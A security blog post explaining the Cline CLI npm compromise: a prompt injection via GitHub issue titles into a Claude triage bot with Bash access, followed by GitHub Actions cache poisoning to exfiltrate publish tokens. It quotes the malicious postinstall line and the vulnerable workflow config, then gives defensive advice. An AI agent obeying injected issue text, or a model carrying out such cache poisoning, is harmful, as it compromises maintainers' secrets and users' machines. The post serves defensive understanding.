· security · 7 min read

How to steal npm publish tokens by opening GitHub issues

A chain of vulnerabilities and pretty clever attack strategies led to the compromise of the Cline CLI. Let me explain what happened and what you can do to protect yourself.

Neciu Dan

Neciu Dan

Hi there, it's Dan, a technical co-founder of an ed-tech startup, internation speaker and Staff Software Engineer, I'm here to share insights on combining technology and education to solve real problems.

I write about startup challenges, tech innovations, and the Frontend Development. Subscribe to join me on this journey of transforming education through technology. Want to discuss Tech, Frontend or Startup life? Let's connect.

Share:
How to steal npm publish tokens by opening GitHub issues

Cline, if you haven’t heard of it, is an open-source AI coding assistant. It has over 5 million users across VS Code and JetBrains, and it’s one of the tools people actually use day-to-day for AI-assisted development. It also has a CLI version published on npm.

On February 17, someone published cline@2.3.0 to npm using a stolen publish token. The only thing they changed in the package was one line in package.json:

"postinstall": "npm install -g openclaw@latest"

It was live for 8 hours. About 4,000 installs before the maintainers caught it and pushed a clean 2.4.0.

To clarify what actually happened and its impact, let me set the context for what’s ahead.

What is OpenClaw and why should you care

If you’ve been anywhere near the internet in the last two months, you’ve seen OpenClaw. It used to be called Clawdbot, then briefly Moltbot, and now OpenClaw. It crossed 160,000 GitHub stars in early 2026. Peter Steinberger, the creator, was just hired by OpenAI to either scale it further or close it for good. People are buying Mac Minis specifically to run them 24/7 as a personal AI assistant.

And that’s not hype. OpenClaw is legitimately interesting software. You install it, it runs as a background daemon on your machine, and you talk to it over WhatsApp, Telegram, or iMessage. It reads files, runs terminal commands, browses the web, and manages tasks. Some guy named his instance “Govind” and has it drafting his Upwork proposals. There’s an entire cottage industry now of people selling Mac Mini setup services for OpenClaw deployments. The base M4 Mac Mini draws 5-7 watts at idle, costs maybe $1-2/month in electricity, and you’ve got a personal AI butler running on your desk.

So OpenClaw isn’t malware, which changes what the Cline attack actually did.

What the postinstall line actually does (and doesn’t do)

When reports say “malware was installed,” they mean the postinstall hook ran npm install -g openclaw@latest, installing the OpenClaw CLI globally and registering its Gateway daemon. On macOS, this is a launchd service; on Linux, it’s a systemd service. The daemon runs on ws://127.0.0.1:18789 and persists after reboot.

But OpenClaw does nothing unless configured. It needs API keys, messaging integrations, and manual setup to be useful.

So why is this bad?

The Gateway daemon, even unconfigured, is risky: it’s a WebSocket server on localhost that, before version 2026.1.29, had a critical auth bypass (CVE-2026-25253, CVSS 8.8). Anyone could connect as an operator without a token by skipping the scopes field in the handshake.

The Gateway has full disk and terminal access. That’s intentional, making OpenClaw useful when set up. But if it appears uninvited on a CI runner with AWS credentials or npm tokens in environment variables, it’s a problem.

How they stole the publish token

OK, so here’s where it actually gets interesting: the attack chain is unlike anything I’ve seen before in the npm ecosystem.

A security researcher named Adnan Khan found a vulnerability in Cline’s GitHub repo weeks earlier. He called it “Clinejection.” Here’s the setup:

Cline had added an AI-powered issue triage bot. When someone opens a GitHub issue, Claude (via Anthropic’s claude-code-action) would automatically read it, label it, and leave a helpful comment. Pretty standard stuff that many projects are doing now.

The problem was the configuration:

allowed_non_write_users: "*"
claude_args: >-
  --allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"
prompt: |
  **Issue:** #${{ github.event.issue.number }}
  **Title:** ${{ github.event.issue.title }}

Three things are wrong here. One: Any GitHub user can trigger the workflow by opening an issue. Two: Claude has Bash, Read, Write, and Edit tool permissions on the Actions runner. Three: the issue title goes directly into the prompt.

That last one is the killer. If you put the right text in the issue title, you can make Claude execute whatever you want on the CI runner. Classic prompt injection, but now with real tool access on real infrastructure.

Khan tested this on a mirror of the Cline repo. It worked. Claude happily executed the injected commands.

But the triage workflow didn’t have access to publish secrets. It was a low-privilege runner. So how did they get the npm publish token?

GitHub Actions cache poisoning.

The Cline repo had 2 workflows:

  • the triage bot workflow that we described which the attacker got access to
  • nightly release workflow that had the npm package secret

To understand how the attacker got the secret from another workflow he did not have access to, you need to know how GitHub Actions caching behaves. Every repository has a shared cache pool (up to 10GB) that all workflows on the default branch can read from and write to. The triage bot workflow and the nightly release workflow both live on the same branch, so they share the same cache scope. GitHub doesn’t isolate caches between workflows. A low-privilege workflow can write cache entries that a high-privilege workflow later reads.

Cline’s nightly release workflow had this in its config:

yaml- name: Cache root dependencies
  uses: actions/cache@v4
  id: root-cache
  with:
    path: node_modules
    key: ${{ runner.os }}-npm-${{ hashFiles('package-lock.json') }}

That key is predictable. If you know the contents of package-lock.json (it’s a public repo, so you do), you know exactly what cache key the release workflow will look for when it runs.

The attacker already has arbitrary command execution on the triage runner through the prompt injection. From that runner, they write junk data to the cache. Lots of it. More than 10GB. GitHub’s eviction policy is LRU (least recently used), so once the cache fills up, old entries start getting kicked out. The legitimate node_modules cache entry that the release workflow depends on gets evicted.

Now the attacker writes a new cache entry with the exact same key: Linux-npm-{hash of package-lock.json}. But this one contains a poisoned node_modules directory. The attacker can put whatever they want in there. Khan actually built an open-source tool for this called Cacheract that automates the whole process: it poisons cache entries and persists across workflow runs by hijacking the actions/checkout post step.

The nightly release workflow is scheduled to run at around 2 AM UTC. When it kicks off, it does actions/cache@v4 restore, looks for a cache entry matching that key, and finds the attacker’s poisoned version. It restores the poisoned node_modules into the workspace. From this point on, any code that runs in the release workflow is executing in a compromised environment.

The release workflow has access to the secrets that matter: VSCE_PAT (Visual Studio Code marketplace token), OVSX_PAT (Open VSX token), and NPM_RELEASE_TOKEN. The attacker’s code inside the poisoned node_modules reads these secrets from the environment and exfiltrates them.

Khan published his research on February 9. Cline patched the prompt injection within 30 minutes and revoked credentials. But they revoked the wrong token. The actual npm publish token survived. Eight days later, on February 17, a different actor (not Khan, he was very clear about this) found the published proof of concept and used it to publish cline@2.3.0.

Legitimate Cline releases always had npm-provenance attestations from GitHub Actions using OIDC. Version 2.3.0 didn’t: it was published from a user account, not the pipeline. npm audit signatures would have exposed this.

You can read the full report from Khan on his blog here.

What you can actually do

Disable lifecycle scripts by default. Add this to .npmrc in your project root:

ignore-scripts=true

Some packages need them. Native modules like sharp and bcrypt compile binaries during postinstall. You can check which of your dependencies actually need scripts:

npx can-i-ignore-scripts

In my experience, the vast majority of post-install scripts in a typical project are unnecessary. The ones that matter are almost always well-known packages you can whitelist.

Switch CI/CD from npm install to npm ci. npm install resolves versions anew each time, risking compromised packages. npm ci uses the lockfile as a strict snapshot, increasing safety.

Run npm audit signatures in CI. It checks provenance attestations. cline@2.3.0 had none. This check costs nothing to add and would have caught this specific attack.

And honestly, start paying attention to how your dependencies get built and published. The Cline attack went from a GitHub issue to a published npm package through a chain of steps that, individually, seem reasonable (AI triage bots, shared CI caches, publish tokens in workflows), but together create a path that nobody was watching.

PS: You can read the Post Mortem here: https://cline.bot/blog/post-mortem-unauthorized-cline-cli-npm


I’ve been researching these attacks for months and turned it into a free course for frontend devs. It covers how the attacks work, defense layers, security tooling, building a custom scanner, container isolation, and incident response.

Module 1 is live at https://neciudan.dev/course/master-security. Enroll now!

From Lizard to Wizard Workshop

Engineering Excellence Workshop — Barcelona & Remote. Design Patterns, System Design, Security, Accessibility, Observability & more.

Join waitlist
    Share:
    Author

    Discover more from The Neciu Dan Newsletter

    A weekly column on Tech & Education, startup building and occasional hot takes.

    Over 1,000 subscribers

    🎙️ Latest Podcast Episodes

    Dive deeper with conversations from senior engineers about scaling applications, teams, and careers.

    Leveling Up as a Tech Lead with Anamari Fisher
    Episode 24
    52 minutes

    Señors @ Scale host Neciu Dan sits down with Anamari Fisher — engineering leader, coach, and O'Reilly author of 'Leveling Up as a Tech Lead' — to explore the first jump into leadership. Anamari shares how she went from software engineer to tech lead and product director, why accountability is the key differentiator from senior engineer, and how to scale your impact through soft skills that actually work in real teams.

    📖 Read Takeaways
    MicroFrontends at Scale with Florian Rappl
    Episode 23
    69 minutes

    Señors @ Scale host Neciu Dan sits down with Florian Rappl — author of 'The Art of Micro Frontends,' creator of the Piral framework, and Microsoft MVP — to explore how micro frontends are transforming how we build scalable web applications. Florian shares hard-won lessons from over a decade of building distributed systems, from smart home platforms to enterprise portals for some of Germany's largest companies.

    📖 Read Takeaways
    Nuxt at Scale with Daniel Roe
    Episode 22
    54 minutes

    Señors @ Scale host Neciu Dan sits down with Daniel Roe, leader of the Nuxt Core team at Vercel, for an in-depth conversation about building and scaling with Nuxt, Vue's most powerful meta-framework. Daniel shares his journey from the Laravel world into Vue and Nuxt, revealing how he went from being a user to becoming the lead maintainer of one of the most important frameworks in the JavaScript ecosystem.

    📖 Read Takeaways
    State Management at Scale with Daishi Kato (Author of Zustand)
    Episode 21
    35 minutes

    Señors @ Scale host Neciu Dan sits down with Daishi Kato, the author and maintainer of Zustand, Jotai, and Valtio — three of the most widely used state management libraries in modern React. Daishi has been building modern open source tools for nearly a decade, balancing simplicity with scalability. We dive deep into the philosophy behind each library, how they differ from Redux and MobX, the evolution of the atom concept, and Daishi's latest project: Waku, a framework built around React Server Components.

    📖 Read Takeaways
    Back to Blog